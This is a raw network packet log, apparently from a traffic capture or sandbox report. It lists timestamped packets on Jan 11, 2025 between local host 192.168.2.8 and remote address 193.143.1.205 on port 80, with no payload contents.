Jan 11, 2025 05:24:20.772865057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.772876978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.772907019 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.772907019 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.772937059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.772948980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.772962093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.773730993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.773741961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.773761034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.773763895 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.773772955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.773783922 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.773787022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.773813009 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.773833036 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.774368048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.774386883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.774398088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.774451971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.774456024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.774463892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.774498940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.774511099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.774539948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.774539948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.775300026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.775316000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.775330067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.775342941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.775346994 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.775401115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.779606104 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.787487030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.787508965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.787522078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.787553072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.787563086 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.787564039 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.787564039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.787580013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.787599087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.787611008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.787651062 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.787651062 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.789994001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.820940971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.820966959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.820976973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.820987940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.821077108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.821077108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.843296051 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.854988098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.855001926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.855019093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.855031013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.855042934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.855055094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.855065107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.855077982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.855081081 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.855089903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.855101109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.855133057 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.855133057 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.855144978 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.855154037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.855173111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.855182886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.855201006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.855214119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.855220079 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.855325937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.855365992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.855377913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.855390072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.855401039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.855411053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.855426073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.855426073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.855566978 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.862207890 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.870315075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.888421059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.888434887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.888446093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.888561964 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.888597012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.888607979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.888617992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.888628960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.888653994 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.888684988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.888698101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.888704062 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.888710976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.888729095 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.888767958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.888767958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.888781071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.888794899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.888804913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.888827085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.888896942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.888923883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.888936043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.888948917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.888961077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.888972998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.888978958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.889038086 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.889065981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889077902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889089108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889110088 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.889178038 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.889204025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889215946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889226913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889266014 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.889273882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889286041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889297962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889308929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889322042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889332056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889339924 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.889339924 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.889385939 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.889534950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889547110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889558077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889569998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889596939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889599085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.889599085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.889609098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889621973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889632940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889642000 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.889646053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889657021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889669895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889684916 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.889684916 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.889735937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.889905930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889921904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889933109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889944077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889955997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889975071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889983892 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.889983892 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.889987946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.889998913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.890012980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.890024900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.890039921 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.890039921 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.890084982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.890312910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.890324116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.890335083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.890346050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.890357971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.890368938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.890397072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.890397072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.890441895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.890444994 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.890456915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.890471935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.890484095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.890496016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.890506983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.890521049 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.890521049 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.890553951 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.893520117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.893532991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.893547058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.893557072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.893568993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.893579960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.893593073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.893608093 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.893608093 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.893678904 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.893686056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.893697977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.893716097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.893728018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.893738985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.893749952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.893760920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.893769026 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.893769979 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.893773079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.893790007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.893790960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.893805981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.893835068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.894033909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.894046068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.894061089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.894073009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.894083977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.894085884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.894098997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.894135952 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.894135952 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.894192934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.894206047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.894226074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.894237041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.894248962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.894253969 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.894259930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.894272089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.894284964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.894289017 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.894289017 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.894403934 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.894504070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.894515038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.894526958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.894550085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.894571066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.894583941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.894597054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.894627094 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.894743919 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.906513929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.942401886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942419052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942439079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942451954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942464113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942468882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.942476034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942487955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942502022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942512989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942523956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.942523956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.942564011 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.942569017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942579985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942590952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942601919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942616940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942629099 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.942629099 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.942686081 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.942692995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942707062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942725897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942738056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942749977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942760944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942764044 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.942773104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942784071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.942786932 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.942821026 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.942821026 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.976243019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976260900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976274014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976285934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976298094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976317883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976335049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976344109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976357937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976361036 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.976361036 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.976370096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976380110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976389885 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.976389885 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.976391077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976402998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976413965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976418972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.976433039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976444960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976449013 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.976459026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976461887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.976469994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976486921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976499081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976511002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976519108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.976519108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.976522923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976533890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976535082 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.976546049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976578951 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.976583004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976593971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976605892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976617098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976629019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976630926 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.976630926 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.976640940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976684093 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.976684093 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.976733923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976746082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976758003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976768017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976782084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976800919 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.976800919 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.976846933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976859093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976870060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976881981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976895094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976917982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.976957083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.976986885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.976999044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977009058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977025032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977036953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977047920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977060080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977072001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977072001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977093935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977104902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977117062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977128983 CET	80	49706	193.143.1.205	192.168.2.8
